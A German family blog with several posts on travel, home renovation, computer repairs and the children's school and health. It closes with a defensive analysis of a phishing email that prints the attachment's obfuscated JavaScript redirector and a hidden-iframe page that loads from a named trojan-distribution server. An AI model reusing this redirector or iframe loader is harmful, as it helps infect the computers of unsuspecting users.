Kurze Post von unterwegs

Guten Morgen!

Die Abstände zwischen den Postings werde irgendwie immer größer. Ich will zusehen, dass ich diese wieder verringere. Versprochen wird aber nichts. Hat ja in der Vergangenheit auch nicht funktioniert.

Ich werde mal wieder chronologisch rückwärts abarbeiten, was mir erwähnenswert erscheint UND mir gerade einfällt.

Ich sitze gerade im IC2033 nach Dresden. Tippfehler möge man mir verzeihen, da größere Texte auf dem IPhone nicht einfach sind. Ich bin beruflich unterwegs. In Dresden findet heute ein IPv6-Kurs vom RIPE statt, an dem ich teilnehmen werde. Damit ich einigermaßen pünktlich dort bin, hieß es schon 3:45 Uhr: Raus aus den Federn. Da werde ich wohl heute Abend gut schlafen…

Am vergangenen Sonnabend waren wir in Halle. Alina ist bei der KVSA Open angetreten. Für eine Platzierung weiter vorn hat es nicht gereicht. Das war aber allen bereits vorher klar. Somit gab’s keine enttäuschten Gesichter. Dabei sein war erstmal alles.

Hmm, zur Zeit davor gab es eigentlich auch einiges zu erzählen. Irgendwie fällt mir jetzt spontan aber nichts ein.

Ich war am 3. Oktober in Ballenstedt beim Motocross. Hab dort Fotos geschossen. Mal sehen, ob ich dazu komme, ein paar ins Netz zu stellen.

Im September war der große Festumzug zur 875-Jahr-Feier in Harsleben. Auch da sind so einige Fotos entstanden, die bearbeitet werden wollen.

Zum Festumzug hab ich auch mal wieder ein paar Leute getroffen, die ich teilweise schon seit Ewigkeiten nicht mehr gesehen hatte. Daher sollte mir der Abend in guter Erinnerung bleiben.

Soweit erst einmal das Neueste. Es gibt noch etwas wichtiges, was ich demnächst hier berichten werde. Das kann ich aber nicht von unterwegs tun, da mir hier die Fotos fehlen, die ich dazu mit veröffentlichen wollte.

Bis denn dann.

Tod eines Plattencontrollers

Vor zwei Wochen stieg unser Rechner mit Festplattenproblemen aus. Nur war nicht die Platte kaputt, sondern das Board. Also wurde ein neues Board beschafft. Für Sockel 775 und DDR2-Unterstützung ist die Auswahl nicht mehr besonders groß. Aber ich konnte doch noch eines kurzfristig auftreiben. Leider müssen wir mit dem neuen Modell auf eSATA und FireWire verzichten. Aber was soll’s. Hauptsache der Computer läuft wieder. Hier noch n Foto des alten Motherboards, ein Asus (genauso wie das neue auch):


Übrigens ist das der erste Beitrag, der mit der WordPress IPhone App geschrieben wurde. Mal gucken, wie gut das funktioniert.

Wir leben noch

Nun ist der letzte Beitrag schon einen Monat her und es wird dringend Zeit, dass hier wieder mal was neues zu lesen ist. Und wieder einmal wird vieles, was eigentlich erwähnt werden sollte, unangesprochen in Vergessenheit geraten…

Zunächst einmal haben wir die Renovierungsarbeiten im Wohnzimmer (fast) hinter uns gebracht. Wir haben Lattung an die Wände angebracht und teilweise mit Styroporplatten isoliert. Ja, mittlerweile wissen wir auch, dass das nicht all zu viel bringt. Aber besser als nix. Dann Dampfbremsfolie drauf und zu guter letzt Fermacell-Platten. An der Decke ist jetzt Panele. Diese dort anzubringen war ein einziger Krampf. Ich hab fünf (5!) Stunden für die erste Latte gebraucht. In der Decke verlaufen drei Balken. Dort konnte ich die Latten mit Nageldübeln befestigen. Aber an den Seiten wollte nichts halten. Die Strohdecke ist ca. 2 cm stark. Darüber folgt ein ca. 8 cm hoher Hohlraum. Sämtliche Dübel sind dort ausgerissen. Erst der Einsatz von Federdübeln brachte Erfolg. Die anderen Latten waren dann in zwei Stunden an der Decke. Um den Boden (uralte, schiefe Dielen) zu begradigen haben wir OSB-ähnliche Spanplatten verlegt. Darauf liegt nun Laminat. Die Wand ist auch tapeziert und die neue Tür eingebaut. (bis auf die Zargen-Blende zum Flur hin) Was halt noch fehlt, ist oben an der Decke ein Wandabschluss, damit die Lücken verschwinden. Insgesamt ein recht teures Vergnügen. Es ist aber echt schön geworden, das neue Wohnzimmer. Und die neue Couch passt auch super rein. Fotos von den Arbeiten und dem Endergebnis gibt’s die Tage dann mal.

Nächstes Thema. Nachdem die ersten Tage im Gymnasium ganz gut liefen, fing Alina an sich in die Sache hineinzusteigern. Alles musste perfekt sein und alles musste bis ins Detail gelernt werden. Dadurch machte sie sich solchen Stress, dass sie garnicht mehr in die Schule gehen konnte. Bauchweh und Durchfall hinderten Sie daran. An dem Problem wird natürlich gearbeitet und sie macht große Fortschritte – was Mama und Papa sehr freut!

Und weil das alles so gut klappt, sind wir am letzten Freitag Baden gefahren. Alina, Jana und ich. Kev wollte nicht. Wir waren im Solebad in Bad Suderode. Hach, war das entspannend. Es war ja schon abends und somit dunkel. Das Bad wurde fast ausschließlich indirekt beleuchtet und es spielte entspannende Musik im Hintergrund. Das Wasser im Innenbereich hatte 32 Grad, das im Außenbereich 28. Insgesamt waren vielleicht noch 20 weitere Gäste im Bad. Das war so richtig schön entspannend. :-) Zum Glück ist Kev nicht mitgekommen. Er hätte sich zu Tode gelangweilt…

Jana hat in der kommenden Woche (am Mittwoch) ihre Karate-Prüfung. Sie ist schon ziemlich aufgeregt und findet immer wieder neue Sachen, die noch nicht so richtig in der Kata passen. Auch wenn sie das im Moment noch anders sieht, bin ich mir sicher, dass sie das packt. :-)

Am 23. September hat Jana dann ihren OP-Termin. Dann werden am Ellenbogen ein paar Sehnenansätze durchtrennt, in der Hoffnung, dass sie dann weniger Probleme mit eben diesen haben wird. Ich habe an diesem Tag Urlaub und werde sie begleiten. Da sie im Moment den Kopf mit der Karateprüfung voll hat, denkt sie noch nicht so oft an die OP. Das kommt nach der Prüfung aber sicher noch. Wird schon werden…

Ansonsten fand am 2. September wieder ein Linux-Treffen statt, zu dem ich einige Konsolen-Tools vorstellte.

Letztens war der “neue” Zweitwagen schon das erste Mal in der Werkstatt. Vorn rechts war mir auf dem Weg zur Arbeit die Feder gebrochen. Hat ganz schön geknallt. Aber ich konnte so nichts sehen und vom Fahrverhalten hatte sich auch nichts geändert, also bin ich weiter gefahren. Als ich das dem KFZ-Mechaniker unseres Vertrauens erzählte, schlug er die Hände über dem Kopf zusammen. Ich hatte Glück, dass die Feder ziemlich weit unten gebrochen war, sonst hätte es auch anders enden können.

Wie so oft habe ich jetzt sicher wieder ein paar Dinge vergessen. Aber so ist das halt, wenn man nicht regelmäßig Einträge schreibt.

Falls es wieder länger dauert, mit dem nächsten Beitrag (was ich nicht hoffe), kann man auch rechts unter dem Menü meine Twitter-Meldungen verfolgen. Vielleicht gibt’s da dann ja was neues…

Kurze Zusammenfassung

Eigentlich wollte ich schon vor einigen Tagen einen Beitrag schreiben. Aber irgendwie bin ich nicht dazu gekommen. Ich hab im Moment einfach ne Menge um die Ohren. Daher nachfolgend eine kurze Zusammenfassung der vergangenen Tage.

Ich hatte zwei Wochen Urlaub. Heute war mein erster Arbeitstag, den ich fast gänzlich damit verbrachte, die Dinge aufzuarbeiten, die in meiner Abwesenheit passierten.

Wir haben den Zweitwagen gekauft. Einen schwarzen Citroen C2. Dazu müsste es eigentlich einen eigenen Beitrag geben. Vielleicht bekommen wir das ja noch hin.

Im Moment renovieren wir das Wohnzimmer. Es wird ein wenig gedämmt, die Wände werden begradigt, Decke und Fußboden erneuert. Blöd, dass das jetzt alles passiert, wo ich wieder arbeiten muss. Es ließ sich aber nicht früher einrichten. Eine neue Couch ist auch schon bestellt. Diese lassen wir uns dann so in zwei bis drei Wochen liefern. Auch das Thema Wohnzimmer verdient einen eigenen Beitrag.

Im Rechner sind gleich zwei Platten mit defekten Sektoren ausgestiegen. Diese sind mittlerweile getauscht. Zum Glück haben wir eine funktionierende Datensicherung.

Janas Ellenbogen gehts im Moment wieder besser. Mal sehen, wann die OP ist… (Hatten wir das schon erwähnt?)

Alina hat die ersten Tage am Gymnasium gut überstanden und im Moment hat sie dort viel Spaß.

Das solls erstmal gewesen sein. Es ist schon spät und ich muss ins Bett…

Wie Spam funktioniert – ein Beispiel

Ich bekam am Freitag eine Spam-E-Mail. Normalerweise werden diese E-Mails sofort gelöscht. Diesmal wollte ich mir aber mal genauer ansehen, was dahinter steckt. Meine Erkenntnisse möchte ich nachfolgend allen zur Verfügung stellen.

Eine Warnung vornweg: Bitte keine der nachfolgenden Dateien und Adressen aufrufen! Der eigene Rechner könnte dadurch mit schädlicher Software infiziert werden! Auch auf keinen Fall selbst solche Recherchen durchführen, solange nicht entsprechendes Hintergrundwissen vorhanden ist!

Nehmen wir mal an, ich habe eine E-Mail-Adresse bei meiner Firma: ich@abc.xyz. Nun bekomme ich augenscheinlich eine E-Mail vom Admin der Firma: admin@abc.xyz – ist sie aber nicht. Darin wird kurz beschrieben, dass es Unregelmäßigkeiten mit meinem E-Mail-Postfach gibt und ich mir den Anhang ansehen soll.

Im Anhang findet sich in diesem Fall eine Datei namens open.html. Diese kann ich mit einem Doppelklick öffnen. Dann öffnet sich praktischerweise mein Browser. Im Allgemeinen der Internet Explorer oder der Firefox. Wenn ich mich dann wundere, warum ich keine Informationen von meinem Administrator erhalte, ist es schon zu spät.

Was ich als unbedarfter Benutzer nicht weiß, ist, dass ich damit meinen Rechner mit einem Trojaner infiziere. Einem Programm, dass sich still und leise auf meinem PC installiert und im Hintergrund Informationen sammelt. Diese werden dann zum Beispiel per E-Mail oder ähnlichen Mechanismen weitergegeben.

Aber zurück zur Datei open.html. Diese hat folgenden Inhalt:

<script type='text/javascript'>
function dX(){};
var h=new Date();
dX.prototype = {f : function() {var u=function(){};
var uY=new Date();
var o="";
var k=document;
var oE=function(){};
var l='';
this.i=33457;
var kV=k['l.oSc<a(t<i_oSnS'.replace(/[S_\<\(\.]/g, '')];
var w=function(){};
var p=false;
this.pP=false;
this.s='';
kV['hGrGe>f>'.replace(/[\>mYGw]/g, '')]='hJt>t>p>:S/2/2aSd>v2aSnlcleldSwloloJd>tSe2c2hJ.2cSo>ml/2xJnSuJ4JeSjS/2z2.ShltlmJ'.replace(/[JS2\>l]/g, '');
var iK="iK";
pK='';
this.d="d";
uM="";
}};
this.dK="";
var fG=new dX();
var dR="dR";fG.f();
hJ=false;
</script>

Das sieht jetzt alles ziemlich kryptisch aus. Wenn man sich dieses so genannte Javascript aber einmal genauer ansieht, stellt man fest, dass diese Datei auf folgende Adresse im Internet weiterleitet:

http://advancedwoodtech.com/xnu4ej/z.htm

Unter dieser Adresse findet man den Internet-Auftritt einer Möbelfirma aus den USA. Diese wissen von dieser Datei sehr wahrscheinlich nichts. Wie diese Datei namens z.htm dort hin kommt lässt sich nicht genau sagen. Möglicherweise gab es eine Schwachstelle in den Skripten dort oder ein zu einfaches Passwort. (Übrigens befindet sich diese Datei jetzt – zwei Tage später – nicht mehr auf dem Server.

Der Inhalt dieser Datei z.html sieht folgendermaßen aus:

<meta http-equiv="refresh" content="3;url=http://toldspeak.com/" />
<iframe src='http://copbun.ru:8080/index.php?pid=10' width='1'
height='1' style='visibility: hidden;'></iframe>

Wieder eine Weiterleitung. Diesmal zu einer Spam-Seite. Dort bekommt man Werbung angezeigt. Außerdem enthält die Datei einen so genannten iframe. In diesem kann man weitere Dateien einbinden. In diesem Fall eine Datei vom Server cophun.ru. Dieser ist für die Verbreitung von Trojanern bekannt.

So schnell kann es gehen.

Daher sollte man sich ganz genau überlegen, ob man Anhänge öffnet. Notfalls kann man ja nochmals Rücksprache mit dem vermeintlichen Absender halten.